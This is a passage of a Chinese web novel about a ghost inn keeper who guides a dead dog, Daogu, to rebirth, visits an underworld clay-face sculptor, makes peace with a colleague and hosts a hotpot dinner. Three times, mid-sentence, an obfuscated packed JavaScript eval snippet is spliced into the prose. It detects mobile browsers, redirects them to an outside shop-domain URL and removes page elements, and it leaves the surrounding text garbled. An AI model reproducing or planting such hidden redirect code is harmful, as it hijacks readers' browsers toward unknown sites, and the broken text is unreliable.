狗爪焦急地在地上跺了几下，它仍记着谢轻荼的告诫，不敢挨得太近，唯恐周身鬼气伤阿絮分毫。只睁大双眼，细细地描摹着它朝思暮想的容颜。 从那缺乏血色的唇边，再往上，到阿絮的眸子。里头空落落的，映不出昔日的友人，唯有漫山遍野的青绿与寂寥相伴。 阿絮瞧不见它。 也是。 怎的忘了，自己早就不在了。 7. 六味煲·肆 稻谷原本没有名字。 醒来，走在日复一日充满烟火气息的街巷中，向肉铺的屠户讨要一根骨棒，这样的日子已是惯性。 屠户手上油腻腻的，笑骂一声馋狗，揉的它满脑袋肉腥味。 稻谷小小的脑仁迷瞪地想，原来它的名字是馋狗，可为何水产铺那掌柜的唤它小伙计？ “小伙计，替我将这篓虾蟹送去街尾那户人家，可莫要偷吃。” 它叼着竹篓，虾蟹腥气重，熏得它打了个喷嚏。 等在街尾那户人家用过午饭，它照例散步至山脚下，消食。倏然听见山上响起几声狼嚎，之后又是一声惊叫。 郊狼环伺的中心，小丫头抱着竹篓蜷在树下，袄子上尽是泥。她害怕极了，脸上泪痕未干。狼群没有一丝怜悯地逼近，山中猎物甚少，它们饿得骨瘦如柴，见了小丫头，如同见了一块生肉，眼底迸出贪婪的绿光。 稻谷认得这丫头，她是山珍坊的小掌柜，小小的人儿独自住在大大的院落里。 想也不想，它一口咬住郊狼的后腿。苍老的头狼听闻同类的痛呼，回头，阴恻恻地盯着稻谷，仰头一声狼嚎指挥族群进攻。 究竟缠斗了多久，它已经忘了，只记得自己颈侧被撕开一道豁口，险些伤及喉管。许是它气势太凶，又或是被街坊们喂得油光水滑，而郊狼个个皮包骨头，已是穷途末路的境地，那头狼哀戚地嚎了一嗓，狼群旋即四下逃窜开。 猩红血液汩汩，粘腻地覆满颈毛。稻谷打量着那小丫头，见对方身上有些因跌倒造成的擦伤，除此之外并无大碍，便吐着舌头朝她笑，之后眼前一黑，晕厥在地。 再醒来时已在山珍坊，它嗅到满室菌类的香气，还有自己身上的药草味。丫头眼眶通红，小心地替它包扎伤口。 稻谷强撑起身体，舔去她面上的泪珠，惹得对方破涕为笑。小丫头轻抚着它如同稻穗般的黄毛，有了主意：“你没有名字罢，那我便唤你稻谷可好？” 她言笑晏晏，眼中好似满载琉璃碎玉：“我名为阿絮，莫要忘了。” 稻谷记下后，就再也没有忘记。 自那以后，它日日同阿絮上山采菌，替她寻路，替她挖出掩在土下的松茸，也照例会去同街坊们打招呼。不过若是有谁还唤它馋狗或是小伙计，它就吠上一声，那些人便自觉改口稻谷，稻谷小伙计。 岁月流转，阿絮出落得亭亭玉立，俨然是位大姑娘。那被郊狼吓得梨花带雨的小丫头，也好像是上辈子的事了。 只是时间公平到残忍，从不只会在一处流淌。 稻谷五官周围生出白毛，走得也不似先前那般快了，而阿絮亦不再是那心思单纯的小姑娘，瞧它时眸中总会染上些若有若无的愁思。稻谷不明白这是为何，直到有日照常同对方上山，它没来由地四肢一软，跪倒在地，半天都未能起身。 它走不动了。 时至今日，稻谷仍记得阿絮当时的神色。 她眼底缀着的琉璃彻底裂了，碎玉从眼眶滚落。 即便阿絮早就料到这一日终归会来临，可当阎罗的铡刀实实在在地架在稻谷颈上时，她意识到，自己根本无法承受。 “稻谷，莫要再同我上山了，山里已经没有郊狼了。” 稻谷听她这么说，仍旧放心不下，等对方一离开，它便悄悄跟在后头。有回实在太累，它在山洞里睡了过去，害的阿絮寻了一宿。 这件事后，阿絮干脆暂时关了山珍坊，一心一意照顾它。 上元佳节前，稻谷醒来，照例想去阿絮卧房舔醒她，再讨要一碗菌菇汤。走到房门口时，它发觉自己脚步轻飘飘的，走路不再费劲了。 它又能同阿絮上山了。 稻谷迫不及待地想和对方诉说这番喜悦，却见阿絮已经下榻，走到门前。她面颊白得不像话，双眼惨淡淡地睁着，一下都没在它身上停驻。 泪水透过它的身体砸在地板上。 沿着那道目光，稻谷一点，一点地回头。 那了无声息卧在软垫上的黄狗，不是它，又是谁呢？ 只记得之后有位生人出现在眼前，宣告它命数已尽，不由分说将它引去另处地界。那里上空终日皆是一片混沌雾气，目光空洞的亡魂在雾中徘徊。 那里没有满巷的人间烟火气，没有它熟悉的人们，没有好吃的大骨棒和菌菇汤。 亦没有阿絮。 - 山珍坊。 陶锅中炖着河蚌和各式菌类，在谢轻荼切坏两块姜后，她被阿絮客气地请出灶房。 稻谷寸步不离地守着阿絮，闻见汤汁的香气，涎水淌了一地。 河蚌与菌菇本就是极为鲜美之物，葱段与姜片放得恰到好处，一点腥味都没有。阿絮手艺虽比不上裴宴辞，但熬出的菌菇汤也可谓是色香味俱全。 她盛一碗汤，搁在稻谷平日里用饭的墙角，对着空气道：“吃罢。” 这些时日裴宴辞都在开发新菜品，不但踏雪圆润了一圈，连谢轻荼都在他期待目光下吃了不少。尽管她现下不饿，但为了不拂阿絮好意，还是喝了一小碗。 放下碗筷，阿絮咬着嘴唇，低垂眸光瞥向墙角的空碗。半晌，她才犹犹豫豫地开口：“谢姑娘，用过饭后，你就要离开了罢？” 谢轻荼晓得她心里挂念稻谷：“放心罢，我会引它入轮回的。” 阿絮不太能分清天界与地府的体系，得谢轻荼承诺，她松了口气：“多谢你，若它来生能投个好胎，我也就放心了。” 稻谷眷恋地蜷缩在她脚边，闻言抬起脑袋。 它不想离开。 即便已是亡魂，但它依然能像从前那样陪在阿絮身边，就算对方瞧不见，摸不着自己，也仍令它心满意足。 这不是很好么？ 而后它又见阿絮因寒气下意识缩回裙摆中的脚踝，意识到了这样一点都不好，尽管不舍，它也不该再留在此处了。 稻谷最后瞧了阿絮一眼，这一眼在对方面上停驻许久，好似要将那根根眉毛的走向，次次说话时嘴角扬起的弧度都刻入脑海中。最后它起身，同谢轻荼走出山珍坊。 一阵风吹过，携着腊梅温柔缱绻的香气。花瓣落地的声响中，隐约夹杂阿絮低哑的嗓音，一个字，一个字地落入它耳中。 “来生再见，我在山珍坊等你。” 沿着来时的街道回去，街上仍是那副光景。日光斜斜地落进铺子内，行人路过，影子又覆在上头。她们走过水产铺，走过肉铺，听闻满街吆喝叫卖声，稻谷没来由地发觉，这条它行过上百遍的道路有些陌生。 是了，那些人们，他们的目光都不会再落在它身上，也无人再唤它馋狗或是小伙计。人们都有自己的日子要过，起初或许会黯然伤神，但在冗长的岁月中，一只狗的逝去其实算不得什么。 许是他们已经不记得它了。 活着的人以时间消化尚未消弭的惯性，消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165384|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化完了，也就再无他物。 稻谷只觉脚步愈发沉重，唯有阿絮那声来生再见，支撑它走向长街尽头，离开人间烟火。 回到无言客栈。 稻谷原本没什么精神，见了踏雪，倒是来劲了，一个劲地追在它屁股后头嗅闻，猫儿惨呼：“轻荼，管管你这傻狗。” 谢轻荼正清点食材，耳边传来一声啜泣。裴宴辞听了稻谷与阿絮的故事，眼眶通红，帕子不住地抹泪。 谢轻荼：“……” 此人这辈子没得到过什么爱，倒是会为他人的爱落泪。 裴宴辞对上她的目光，攥紧帕子，挪开眼神，似有些羞赧：“谢掌柜，你别见怪，我这人打小就这样。” 尽管晓得对方不会取笑自己，但面上还是有点挂不住，他恨不得一头钻进灶房，当那缩头乌龟。可他又想同谢轻荼再待一会，他们有许多天没正经说上话了。 墨色眸子从那对泛红的眼眶上移开，谢轻荼仍是没什么波澜，手指将篓筐里摆好的竹荪一个个打散，又摆正：“无事。” “你说，她们来生果真能再见么？”裴宴辞一抹鼻子，“阿絮该怎么认出稻谷呢，毕竟它下辈子不一定是黄狗。” 谢轻荼头也不抬：“有缘之人总会遇见的。” 她言简意赅，大有不想再说话的架势，裴宴辞却想得寸进尺一点点：“可就算遇见了，那转世之人和稻谷也不是同一个了，前世绑着的缘分，还算是缘分么。” 闻言，谢轻荼莫名心情不大好了：“做好六味煲后，你去河对岸迎客。” 这是在赶人了，裴宴辞灰溜溜地，逃也似地钻回灶房。 “我陪稻谷去天地钱庄取钱。” 踏雪柔顺的皮毛被舔得如同黑色的红毛丹，它一爪拍开稻谷，抬头正色道：“正好替我将钱也取了。” 年年都有人为它烧纸，踏雪一文都舍不得用，卧房里的小金库堆成山。 从前谢轻荼还打趣它，说我这客栈留你这么多年，你好歹付些房钱。 当时踏雪拦在金库前，大有谢轻荼若是胆敢取走分毫，就同她拼命的架势：“我为你迎客，没要你工钱就不错了，边去。” 天地钱庄。 钱庄那人同谢轻荼打了声招呼，核对稻谷名姓后，将钥匙挂在它颈上：“银窖在左手边。” 今日最后一位取钱的人也离开了，银窖里只有谢轻荼与稻谷的脚步声，一个稳当，一个踌躇。稻谷落在后头，似是在害怕着什么。 “别怕。”谢轻荼找到属于它的钱柜，唤它过来解下钥匙，“他们都记得你。” 是么，稻谷期待地想，又害怕自己的期待落了空。柜门在它眼前逐渐打开，时间仿佛被拉长，像肉铺屠户做肉夹馍时扯长的面团，又似水产铺池子里养着的鳝鱼，周遭一切都化为慢动作。 它想谢轻荼许是搞错了，钱柜里其实一文钱都没有，人们对它的记忆消逝于时间中，没有记忆，也就没有钱。不，还是有的，至少阿絮记着它。 稻谷又满足了，阿絮记得就好了，人间它最放心不下的，也唯有阿絮。 柜门敞开。 现下稻谷还不明白，记忆的载体并非只是一枚泪珠，或是一个眼神，它可以是因惯性而留下的骨棒，可以是说铺子里的伙计不在了时面上掠过的怅然若失，亦可以是… 稻谷愣怔地盯着钱柜，任凭泪水滚落在地。 里头是满满当当的冥币。 8. 六味煲·终 余出买孟婆汤的钱，剩下的冥币还有很多。稻谷执意要将它们赠予谢轻荼，谢轻荼哪里好意思要它的钱，便欲再为其置办些什么。 恰逢孟娘又来客栈讨酒喝，闻言搁下酒坛，一锤定音，瞬间携她们到了地府。 依旧在奈何桥头现身，此地现下却是另幅光景。一陌生摊位占据桥头，将孟婆汤的摊位可怜地挤在角落。 “瞧瞧，瞧瞧，当老娘是死人呢。”孟娘摇头咂舌。 谢轻荼：“你本身也不算活人。” “谢掌柜的现如今倒是伶牙俐齿，也不知是和那猫小二学的，还是客栈那新来的厨子。”孟娘斜眼瞧她，“不但惹恼了范大人，现下又来寻我的不快。” “……” 谢轻荼低声道：“离原还好么？” “你自个去瞧瞧呗。” 孟娘没再搭理她，又唤站在摊位前戴四方头巾的男子：“褚泥。” 褚泥？好生奇怪的名姓。 褚泥正鼓捣什么物什，走进一瞧，他手下竟是一滩泥巴。他动作不停，木然地抬起脑袋，露出分外清秀的一张脸：“孟姑娘。” 僵硬的表情，僵硬的声线，配上生动的五官，怎么着都不太搭。 “我同你说过多少次了，莫要唤我孟姑娘，我的年纪都能当你祖宗了。”孟娘嗔怪道，又一瞥摊位前的长龙，“忙着呢？那便等你忙完再说。” 褚泥哦了一声，转头问面前那亡魂：“身长八尺，玉树临风？” 那人笑着搓手：“对，对，来世我就要这副模样。” “不成。”褚泥讷讷道，“你下辈子是只蜚蠊，不能当人。” 那人大怒：“消遣我呢，蜚蠊有啥可捏的？” 承着对方满腔怒火，褚泥仍是面色不改：“你可以选择体型大小。” “我是你的话，会选大蜚蠊，至少能飞。”话落，一只惟妙惟肖的蜚蠊泥偶躺在他手心。 这下谢轻荼倒是瞧出些门道了：“来世捏脸服务？” “可不是么，这便是我先前同你说过的新摊位。褚泥可是捏泥偶的一把好手，告知诉求，再拿着捏好的泥偶去投胎，来世便能是自己想要的长相了。”孟娘轻嗤，“这是府君的主意，美其名曰临终关怀，我瞧着怕是临终捞钱罢。” 谢轻荼无奈，心道奈何桥离太山府可不远，也不怕被府君那顺风耳听了去。 又是一声叹息：“那玉树临风的长相可不便宜，得要十万两冥币了。今生享尽荣华富贵的主呐，来世又是金枝玉叶的人儿。” 那人小心地捧着蜚蠊泥偶，生怕摔碎了，下辈子连大蜚蠊都没得当。 稻谷期待地摇着尾巴。 等褚泥得空，孟娘先是同他介绍谢轻荼，又一指稻谷：“这狗儿正要去投胎，你为它捏个泥偶罢，价钱好说。” 褚泥不知用什么法子和稻谷言语几句，手指翻飞，死气沉沉的泥巴叫他逐渐勾勒出五官，上色后，一灵动的姑娘人偶就自手下成型了，面颊同阿絮有几分相似。 稻谷轻轻衔着泥偶，如含一枚至宝，最后蹭了蹭谢轻荼，转身离开。 见那小小的黄色身影消失在青石板道尽头，褚泥靠近：“谢掌柜。” 谢轻荼这下发现，他左脸有块不易察觉的裂隙，疤痕一般，透着褐色的内里。 这捏泥偶的匠人，原来本身就是一只泥偶。 “谢掌柜。”褚泥木木的，像是在斟酌用词，“如若你之后再去人间，可否替我寻一人？” 他有事相求，也不晓得说些好话，或是许对方一些好处。到底是泥偶，纵使再像人，也学不会那些弯弯绕绕，好在谢轻荼并不在意这些：“你所寻之人名姓为何？” 褚泥面无表情：“不晓得。” “那人现在何处？” “不晓得。” 谢轻荼：“……” 一掌拍向褚泥后脑勺，打落四方头巾。孟娘收手，语气三分怨念，七分责怪，大骂：“你这泥巴脑袋，这也不晓得，那也不晓得，当谢掌柜的是大罗神仙啊。即便是大罗神仙，不知姓甚名谁，也是寻不到那人的，安心捏你的泥偶得了。” 褚泥也不恼，拾回头巾，闷头摆弄起那摊泥巴，没再提寻人之事。 “甭搭理他。”孟娘翻着桃花眼，又对谢轻荼道，“我送你回去。” 谢轻荼回头望了褚泥一眼，他的脸沉在忘川河水翻涌的雾气中，连带着那道裂痕也隐了去。这一眼，又见一身影从太山府的方向走来，皱起的眉头下独眼恼怒地睁着，不是一目又是谁？ 一目也瞧见了谢轻荼，他现下心情不好，连表面上的功夫都懒得作，冷哼一声，就要同对方擦身而过，还是孟娘叫住了他。 “一目掌柜的，方从太山府下来呐？” 有孟婆汤一事为前提，一目哪敢得罪她。原本孟娘和谢轻荼关系就好，他已是落了下风，若是再摆出张臭脸，自家的望泉客栈也就别想得到这孟婆汤的方子了。 他勉强挤出副磕碜的笑意：“是，是，在下先前去觐见了府君大人。” 听闻谢轻荼得了府君首肯，去往人间寻找食材，他自然是不甘心的，便也想去人间寻几味药材，添到自家汤池里。 结果甫一说出自己的想法，府君撂下卷轴，瞪他：“你去个屁。” “你这长相，人们见了不得径直昏死过去。这段时日地府亡魂是少不错，可也无须你用这种法子给大伙找活干。” 不但被一口回绝，还遭不留情面地贬低，饶是人精似的一目当场也挂不住脸。谢轻荼几日前还直言府君偏心眼子，他是偏心眼子不错，但秤杆的另一头可从未落到自己头上。 一目牙根都咬碎了，满腔怒火无处发泄，自然是不能向府君撒火的，现下又遇上个惹不起的主。他暗道，等回了望泉客栈，定是要好好教训一番那几个伙计。 他讪笑一声：“孟娘，客栈离不开人，在下便先告退了，得空去我那泡汤。” 临走前，他脚步一晃，独眼落在谢轻荼面上，滴溜溜地转了几下，而后那道阴测测的寒光随转身隐去。 “之后可得当心着点，他许是没憋好屁。”孟娘压低声音。 - 客栈里不见裴宴辞身影，应该还在河对岸迎客。谢轻荼从灶上取下温着的六味煲，装进食盒里。 这回小鬼倒是恭敬，她轻车熟路地穿过回廊，敲响范离原卧房的门。 黑衫鬼差倚在床头，似有些蔫蔫的，门轴嘎吱一声，那令人牙酸的声响吸引了她的目光，让她一眼望见门口的谢轻荼。 范离原打量她片刻，又扭头对向另侧，好似要将墙上的雕花纹路盯出个洞来。 瞧着还在生气，但既然谢轻荼进府时未遭阻拦，想来对方只是要她给个台阶。 可谢轻荼哪里会说软话，天生就没有这种天份。她憋了半天，最终憋出一句：“怎的这般没精神，不晓得的，还以为是我给了你一掌。” 反作用也是作用，范离原终于吐出今日同她说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165385|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头一句话：“谢轻荼，莫非你想再挨一掌？” 谢轻荼正色道：“不想。” 范离原深吸口气：“你来做甚？” 打开食盒，谢轻荼取出还温热的六味煲。腊肉激发出竹荪与河虾的鲜香，粉丝裹满浓醇的汤汁，闻着便叫人垂涎欲滴。 “那小鬼同我说，你近日都未正经用过饭。这六味煲味道极好，尝尝罢。” 小鬼又怎会说这些，她撒起谎来倒是从善如流。范离原没有揭穿，尝了一勺，眉心瞬间捋平：“我瞧着里头只有五味，还有一味呢？” “……” 谢轻荼面无表情：“还有一味是我的心意。” “咳。”范离原呛住，勉强稳住呼吸，怎么也想不到这话会从谢轻荼嘴里吐出，“是你的心意么，是那裴宴辞的心意罢。” 谢轻荼生硬地挪开目光：“倘若你希望，我可以煮给你吃。” “我宁愿喝孟婆汤。” 这话是堵死了，她又欲将话头引向别处：“先前我去奈何桥头，见那处新支了个捏脸摊子，那位偶师的手艺好极了，捏出的泥偶和活人似的。” “谢轻荼。”范离原打断她，“其实你可以直截了当地说，你此番前来，是想要寻得我的原谅。” 谢轻荼嘴里似粘了浆糊，咬着牙关，一字一句：“我此番前来，是想要寻得你的原谅。” 话落，她耳根逐渐泛上红润，隐在发丝中。范离原盯着那处，有些好笑，后又不禁暗叹，这块顽石，怕是没人能叫她学会表里如一了。 “你同裴宴辞说话时，也是这般僵硬么？” 这又关裴宴辞什么事？ 谢轻荼斟酌道：“为何提他，分明我同踏雪相处的时日更长些罢。” “我怕若是再不提他，你就要揭过这一章了。”范离原笑意凉凉的。 谢轻荼一阵心虚，她的确想一笔带过那晚之事。 “此事我还未上报府君，但你终归是要决断的。”范离原搁下瓷碗，碗底叩在矮柜上，磕出一声脆响，似是砸向谢轻荼心弦，“他待在你客栈里，总归是个隐患。” 见她又要长篇大论因果，谢轻荼忙说：“此次我去人间，弄明白了一些事。” 范离原安静地等她说下去。 “人在世上，行过的各块砖石，掠过的各株草木，皆是种下因，或是撷取果。只要行走在天地间，这些都是在所难免的，谁也不知道当下一个小小的动作，会引发怎样大的风浪。” “就好比我毁那地龙的修为，我就在那里，不可能什么也不做。与其说是我介入他人因果，不如说你我本就身处因果之中。人又如何，鬼又如何，不都是这天地间的芸芸众生么。” 范离原盯着她：“照你这么说，岂不是因果法则具都不作数了？” “事在人为。”谢轻荼停了停，又纠正道，“事在鬼为。” “好，我便不提因果，只说命途。”范离原叹气，“你我二人都晓得，裴宴辞命途世世凄苦。尚有二魂存于他肉身中，若是那一魂侥幸回到体内，他又得过上从前那般日子。若是二魂下至狭间，他便自然是要入轮回的，命途严酷，他会在生生世世的凄苦中消磨自己的心性。” “到了那时，你又该如何抉择，将他永远养在你那小小的客栈中么？” 谢轻荼缄默良久，久到小鬼敲门，唤范离原该去料理工事了。被褥摩擦声中，她薄唇轻启，似是妥协，又像无可奈何。 “那时我会顺其自然。” 9. 鸳鸯锅 柏泠风风火火地领客人进门，无言客栈满室喧嚣。她招呼客人落座，送上温好的手巾，又去灶房催促裴宴辞，抓紧将吃食出锅。 若有客人等得急了，她便笑着赠送一小碟瓜子花生。 很是活络的一个人。 踏雪啧啧称奇，同柜台后的谢轻荼说：“她在客栈做工不过数日，客人险些将门槛踏平，咱们客栈也是好起来了。” 这些时日裴宴辞也没闲着，研制出许多新菜品，当然客栈的主打菜还当属六味煲。 踏雪说此人天生有饭灵根并不夸张。 淋上豉油的白灼时蔬，在河水中冰镇过的甜口豆腐羹，和六味煲一道摆在托盘上。 时蔬与豆腐羹正好能解六味煲的腻，时蔬的清香，豆腐羹的甜香，六味煲的鲜香，各种气味交织一起，却并不显杂乱，反倒勾起客人肚里的馋虫。 柏泠一手一托盘，走得稳当。呈上菜肴后，她又忙着斟茶，细致到叫人挑不出一丝毛病。 “只可惜，她挣到工钱后就要走了。”踏雪瞧瞧与客人相谈甚欢的柏泠，又瞧瞧三棍子打不出一个屁的谢轻荼，和谁来了都能踩上几脚的裴宴辞，恨铁不成钢地叹了口气。 事情的原委，要追溯至谢轻荼去范离原府上那日。 那日裴宴辞用小碗装好六味煲后，便摆舟去河对岸迎客。他面皮子薄，杵在原地小声嚅嗫了一会，畏畏缩缩的。又不像谢轻荼，有那般什么都不做，就自然而然让他人目光落到自己身上的气质。很快，客人们便被望泉客栈小厮的吆喝声吸引去了。 难得有客人想尝尝六味煲，结果对方喝了一碗还不满足，径直揽过其余数碗。裴宴辞没来得及，也不知该如何阻拦，碗中便皆见了底。 最后他只拉回三俩桌客人，若非踏雪回房歇息了，怕是得挨上它几爪。回去的途中又出了岔子，许是撑船太久，那一魂紊乱，渡船摇摇晃晃，险些翻了，引得客人连声抱怨。 好不容易折腾回客栈，本以为万事大吉，折磨人的活计就这么终了。那先前白吃好几碗的客人眼珠子一转，大大咧咧往那一坐，架着二郎腿，吆喝自己没钱。 没钱你住甚客栈？ 裴宴辞很想像当初踏雪那般，怼上一句，可强硬的话滚到嘴边，又让他咽了回去。他不似踏雪那般泼辣机灵，也不似谢轻荼，只是往那一杵，什么都不说，就叫人直发怵。还是独自缩在灶房鼓捣食材，于他而言来得更轻易些。 倘若无言客栈是他的，兴许就半推半就地应允了，可掌柜的是谢轻荼，他又岂能替对方大度。何况有一便有二，倘若旁的客人见此人得了便宜，也都起了歪心思，又该如何？ 想到谢轻荼，他抬高嗓音。 “不成。” “你说什么？”那人满脸凶相，拎起裴宴辞的衣领，大喝道。 客人们唯恐惹祸上身，没瞧见似的，扒拉着食物，脑袋恨不得栽进碗里，任凭闹剧在眼角余光中上演。 裴宴辞原本白皙的面颊此刻更是无甚血色：“我说不成。” 巴掌就要落至脸上，裴宴辞闭拢眼睛，刺痛感却尚未到来。耳边一道清脆的人声，硬生生止住那裹挟狠戾气息的风声：“这位大哥，且消消气。” 这下所有人都忍不住抬眼瞧这出头鸟了。 姑娘立于二者身侧，眉眼含笑，没有一丝怯意。裴宴辞认得她，是此番一道坐船来的客人，之前他在渡船上晕头转向时，还是对方帮着扶了下竹桨。 那人拧着眉头，很是不快：“你又是何人？” 他暗自掂量对方身段，见不过是位清瘦女子，心下难免狂妄：“我要教训这病秧子，你可有意见？” “我不是谁，同你，这位小哥，还有在座各位一般，都是来这地界的可怜人。”姑娘仍是笑，“既然都是可怜人，便谁也别为难谁，已是亡魂了，惦记那几文钱还有什么意思，和和气气地走完这遭，方能顺顺遂遂地上路。” 姑娘一瞥众人：“各位，你们说，我说得对是不对？” 谁不乐意听些吉祥话呢。 她话说得好听极了，又在恰当的时机搬出旁的客人，他们竖着耳朵听了半晌，此时猝不及防被点名，自然不再能置身事外了。人类皆是从众的，只要一人点头，所有人便都好似成了侠义之士。 “就是，姑娘说得不错。我们中当属你吃得最多，现下还想赖账，仗着自己个大，欺负人家小哥，下辈子投胎当只猪得了。” 那人哪能料到，不过片刻，自己就成了所有人讨伐的对象。他被骂得心虚，面上青一阵红一阵，只觉拂了面子，迟迟不愿松手。僵持不下中，那姑娘又适时地给出台阶。 “大伙晓得你难，可你瞧客栈这般小，掌柜的想来也难，还是相互体谅得好。回头让小哥送碟你瓜子，这事儿就这么过去罢。” 颈上桎梏离去，裴宴辞咳嗽几声，落在那姑娘面上的眸光染上些许惊叹。对方只凭三言两语，便化解了他如何都束手无策的难题。 那人撂下几枚冥币，沉着张脸，气闷地坐下嗑瓜子。恰好这时踏雪醒了，听闻事情经过，二话不说将那人小腿挠得血次呼啦。对方屁股都还没坐热，就被撵出了客栈。 姑娘捂嘴偷笑，转向裴宴辞：“敢问小哥，客栈还招人么？” “我叫柏泠。” 于是乎柏泠便顺理成章地留下，不过数日，无言客栈生意肉眼可见得红火。她本以为起初要先试工几日，不料当晚便拿了工钱，客栈掌柜谢轻荼瞧着冷情，心地倒是极好的。 等客人回房歇息，柏泠倚在柜台边，有一搭没一搭地同谢轻荼闲侃。她是个闲不住的性子，瞧对方生得漂亮，总想靠近说上几句。 “生前不知道，死后吓一跳，原来阴曹地府真的存在，还以为这些都是大人吓唬孩童的。我还未见过太山府君呢，他是什么模样，同话本子里描述得那般青面獠牙么？” 神鬼多和信仰挂钩，为加深人们对其的崇尚与敬畏，人间的工匠惯常将他们塑造得面目狰狞，实则与原本的长相差了十万八千里。谢轻荼在人间亦有鬼神像，石像雕凿完工后她还偷偷去瞧了一眼，只一回，便再也没去过。之后过了很长时间，终于坦然接受那舌头咧到胸口的鬼差像是自己。 她回忆着府君那张同自己有七八分像的面孔：“人样，同你我差不了多少。” 柏泠又道：“我还以为孟婆会是老婆婆呢，没想到竟是年轻女子。” 谢轻荼暗笑，这话若叫孟娘听了去，许是要给柏泠的孟婆汤里加料的。不过她惯常喜怒不形于色，话到了嘴边，只余干巴巴的一声。 “嗯。” 柏泠：“……” 她口中天马行空，嘴皮子都快磨破了，话头却三番五次落到地上。 不过她晓得谢轻荼已是尽力了，便又想去揉一揉踏雪。踏雪岂是会随她揉的，当即亮出爪子，柏泠后退一步，讪讪地想去灶房找裴宴辞说话，顺便讨些吃食。 “柏泠。”谢轻荼唤住她，“去喊杜榆，同他娘亲下楼用膳。” “好嘞。” 她三两步攀上楼梯。 过半柱香的时间，她领着一男子下楼。此人便是杜榆，他和柏泠一样，都是死后没人烧纸的。无言客栈年头久，始终不曾修缮过，前阵子有客人抱怨房间漏风，恰好杜榆会些木工，三下五除二就修补好了墙壁。 他小心地搀扶一老妇，嗓音嘶哑：“娘，慢些。” 老妇脚步颤颤巍巍，一手扶着栏杆，双眼空洞，浑浊眼球上隐约一层白翳覆盖。 她是个瞎子。 二人身上脏兮兮的，似是在碳里滚过，露在外头的皮肤烧灼溃烂，走一步，便抖落一地灰烬。不难猜出，许是家中走水，孤儿寡母未能及时逃出，这才丧了命。 不过既是在狭间，除了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165386|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寿终正寝之人，什么惨烈的死状都不罕见，身体完整还算是好的。杜榆起初还有些难堪，怕影响客栈生意，结果客人中更惨的都大有人在，他便安心待下做工了。 裴宴辞同柏泠合力将铜锅搁在炉子上，踏雪嗅到牛油味，抻了抻脖子，见弧形挡板将铜锅一分为二，好似阴阳八卦阵，右边是浮着干辣椒与麻椒的红汤，左边是浓醇的白汤。 “好香，这是什么？” “鸳鸯锅。”裴宴辞点燃柴火，熬制几日的牛油汤底先泛起气泡，烫出辣椒的香气，刺激地踏雪狠狠打了个喷嚏。而后他专门为不吃辣的谢轻荼和踏雪煮的骨汤也逐渐翻滚起来，待两边沸腾后，他先是为谢轻荼下了些豌豆苗在骨汤里。 众人围坐炉边，一旁案上搁着做六味煲余下的食材，还都新鲜。裴宴辞自灶房取出陶罐，一人一勺白芝麻磨的麻酱，用煮好的食物蘸着吃。 杜榆自己没吃多少，忙着往老妇碗里夹菜：“娘，尝尝这个。” 都是些煮得软烂的食物，老妇牙口不好，嚼不动太硬的。 柏泠干得多，吃得也多，碗里牛肉堆成小山：“裴小哥，你这鸳鸯锅是如何做的，这般好吃。” “哎，哎，这可是无言客栈的机密，配方不外传。”踏雪嘴边满是麻酱，“问这做甚，反正喝过孟婆汤后便会忘干净，下辈子再来吃罢。” “若是那孟婆汤掺水了，能让我记得此生的一件事儿，我定是要记得这鸳鸯锅的滋味。” 踏雪也笑：“这话可别叫那疯女人听见了。” 见谢轻荼碗底空了，裴宴辞又下一把菜叶，边回应柏泠，颇有些不好意思：“只是寻常做法，许是我从前开过锅子店，熟能生巧罢了。” 从前开过锅子店？ 谢轻荼抬头瞧他一眼。 这倒是从未听他说过。 “过谦了。”柏泠叹道。 老妇搁下筷子，面上泛起倦色。杜榆马上也不吃了，打过招呼便搀着她回房歇息，之后没再下楼。 裴宴辞给锅中添上沸水时，炉下的柴火恰好熄灭了。 “许是木柴受潮了。”踏雪正要去灶房取火折子，却听裴宴辞道一声不必。只见他俯身对着木柴，轻轻一吹，口中蹿出火焰，柴火瞬间燃起。 踏雪大惊，忙扒拉他嘴巴：“你嘴里藏火折子了？” 谢轻荼没有言语，不知在想些什么。 “没。”裴宴辞唇边几道爪印，疼得差点泛出眼泪花，“天生的，儿时一位算命先生说我有凤凰命格。” 他揉揉嘴唇，叹了口气：“也不知是不是诓我的，除了能吐火，我与旁人无甚不同。连根凤凰毛都没见着，自己半条命就丢了。” 踏雪还没缓过神来：“怪不得那竹篓里的火折子一支未少过，我还以为是你悄悄补上了。” “是。”裴宴辞轻抚发顶，“之前未同你们说，对不住。” 柏泠也来了兴致：“话说回来，我幼时也算过命呢，那算命先生说我有无情根。” 踏雪：“那你有么？” 